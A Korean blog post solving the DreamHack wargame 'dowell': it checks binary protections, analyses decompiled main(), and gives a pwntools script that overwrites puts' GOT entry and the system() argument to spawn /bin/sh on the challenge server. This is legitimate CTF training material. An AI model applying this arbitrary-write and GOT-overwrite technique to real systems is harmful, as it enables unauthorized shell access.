DreamHack dowell 풀이

·2024년 11월 3일
0

DreamHack

목록 보기
5/6

1. 보호 기법 확인


파셜 relro에 pie가 없다. 분석만 잘하면 쉽게 풀 수 있을 것 같다.

2. 바이너리 분석

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *s[2]; // [rsp+0h] [rbp-10h] BYREF

  s[1] = (char *)__readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  system(st);
  printf("one chance for flag");
  putchar(10);
  printf("pt: ");
  __isoc99_scanf("%d", s);
  printf("input: ");
  __isoc99_scanf("%s", s[0]);
  printf("your input:");
  puts(s[0]);
  return 0;
}

첫 번째 scanf에서 %d 포맷으로 char 형 포인터 배열에 입력을 받는다.
이러면 s의 주소를 우리가 원하는 형식으로 조작할 수 있다.
단 C에서 정수형은 4바이트이기 때문에 이 크기만큼만 조작할 수 있다.

그리고 두 번째 scanf에서 그 주소에 %s 포맷으로 값을 입력받는다.

이 정보들을 조합해보면 aaw가 가능하다는 것을 알 수 있다.
그렇다면 system함수의 인자인 st의 값을 조작해서 system("/bin/sh")를 실행시킬 수 있지 않을까?

st를 조작할 수는 있지만 조작하는 시점에서 system은 이미 호출되고 난 후다. 그렇다면 다시 main으로 돌아가면 된다. 파셜 relro에 no pie라 got를 우리가 원하는 주소로 쉽게 overwrite할 수 있다.

puts의 got를 main의 주소로 덮어씌워 계속 루프를 돌게 만들고, st를 /bin/sh로 조작하면 풀 수 있을 것이다.

3. 익스플로잇

from pwn import *

p = remote("host3.dreamhack.games", 13520)
e = ELF("./prob")

main = e.symbols['main']
st = 0x0000000000404080
puts_got = e.got['puts']

#1 puts got overwrite
p.sendlineafter("pt: ", str(int(puts_got)))
p.sendlineafter("input: ", p64(main))

#2 st overwrite
p.sendlineafter("pt: ", str(int(st)))
p.sendlineafter("input: ", b'/bin/sh')

p.interactive()
profile
안녕하세요

0개의 댓글